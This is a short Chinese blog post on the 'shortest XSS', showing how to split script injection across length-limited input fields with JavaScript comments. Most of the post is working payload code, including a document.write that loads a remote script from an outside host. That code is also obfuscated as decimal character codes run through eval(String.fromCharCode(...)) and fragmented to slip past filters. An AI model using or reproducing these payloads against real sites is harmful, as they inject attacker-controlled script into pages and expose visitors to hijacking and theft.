最短的跨站

<script>open(/*
*/"https://127"/*
*/+".0.0.1/"/*
*/)</script>

这其中的/*和*/是script的注释语句,将这些语句分别提交,同样的条件是这些提交的代码必须在一个页面中,这样最后所显示的就是:

<script>open(/*不会显示的无效内容*/"https://127"/*不会显示的无效内容*/+".0.0.1/"/* 不会显示的无效内容*/)</script>

那么这个的最短的语句是多少呢?貌似<script>不能分开应用,除了这个,script所定义的函数比如open之类的,好像分开后也不能正常运行了,/jmdcw/这样的话,

先将最上面的语句:document.write("<script src=https://www.pc010.cn/1.js></script>") 转为10进制表示字符:

100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,112,99,48,49,48,46,99,110,47,49,46,106,115,62,60,47,115,99,114,105,112,116,62,34,41,59

然后用eval加String.fromCharCode来执行:

<script>eval(String.fromCharCode (100,111,99,117,109,101,110,116,46,119,114,105,116,101,40,34,60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,119,119,119,46,112,99,48,49,48,46,99,110,47,49,46,106,115,62,60,47,115,99,114,105,112,116,62,34,41,59))</script>

下面就用剑心的方法来进行拆分:

<script>/*
*/eval(/*
*/String/*
*/./*
*/fromCharCode/*
*/(100,/*
*/111,99,/*
*/......./*
*/59))/*
*/</script>

中间的....表示的字符和前面的一样,这其中最长的一个语句是:*/fromCharCode/* ,16个字符,因为这是script自已保留的函数名,拆分的话,就不能运行了,由此可以看出,最小的跨站语句是由所采用的函数来定的。

BY 寂寞的刺猬

评论
热度(1)
© WinExec|Powered by LOFTER